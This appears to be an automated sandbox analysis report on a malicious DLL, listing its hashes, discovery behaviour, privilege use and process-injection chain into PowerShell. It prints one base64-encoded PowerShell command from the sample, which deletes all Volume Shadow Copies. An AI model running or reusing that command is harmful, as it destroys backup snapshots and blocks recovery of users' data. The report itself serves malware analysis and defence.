44bcefd86b7d36300eb2d77ba88f248cab5ecb9cfb0ec3e859e35ed519fa7795

General

Target

file.dll
Size

164KB
MD5

72945c9b41b3590dc518b14bad0a79ee
SHA1

244e30fcd8982b78eaac65db21b177b632c1fb11
SHA256

44bcefd86b7d36300eb2d77ba88f248cab5ecb9cfb0ec3e859e35ed519fa7795
SHA512

2eca816b31f21afe4daadaed3ed2e891f9632ff5652ae6e6e2ebde7dee0f6b1ec3562af8ef98dd9fb769c8f372a8f527e6a22cb2686ac43bc49fd6f21081f06c

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

rundll32.exepowershell.exe

pid process

1252 rundll32.exe
1632 powershell.exe
1632 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

rundll32.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1252 rundll32.exe
Token: SeDebugPrivilege 1632 powershell.exe

pid	process
1252	rundll32.exe
1632	powershell.exe
1632	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1252	rundll32.exe
Token: SeDebugPrivilege	1632	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1816 wrote to memory of 1252	1816	rundll32.exe	rundll32.exe
PID 1816 wrote to memory of 1252	1816	rundll32.exe	rundll32.exe
PID 1816 wrote to memory of 1252	1816	rundll32.exe	rundll32.exe
PID 1816 wrote to memory of 1252	1816	rundll32.exe	rundll32.exe
PID 1816 wrote to memory of 1252	1816	rundll32.exe	rundll32.exe
PID 1816 wrote to memory of 1252	1816	rundll32.exe	rundll32.exe
PID 1816 wrote to memory of 1252	1816	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 1632	1252	rundll32.exe	powershell.exe
PID 1252 wrote to memory of 1632	1252	rundll32.exe	powershell.exe
PID 1252 wrote to memory of 1632	1252	rundll32.exe	powershell.exe
PID 1252 wrote to memory of 1632	1252	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\file.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\file.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1632

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1672

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:600

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1252-0-0x0000000000000000-mapping.dmp

Download
memory/1632-1-0x0000000000000000-mapping.dmp

Download
memory/1632-2-0x000007FEF5240000-0x000007FEF5C2C000-memory.dmp

Filesize
9.9MB

Download
memory/1632-3-0x00000000022E0000-0x00000000022E1000-memory.dmp

Filesize
4KB

Download
memory/1632-4-0x000000001ACF0000-0x000000001ACF1000-memory.dmp

Filesize
4KB

Download
memory/1632-5-0x0000000002670000-0x0000000002671000-memory.dmp

Filesize
4KB

Download
memory/1632-6-0x00000000024C0000-0x00000000024C1000-memory.dmp

Filesize
4KB

Download
memory/1632-7-0x000000001C420000-0x000000001C421000-memory.dmp

Filesize
4KB

Download

Analysis

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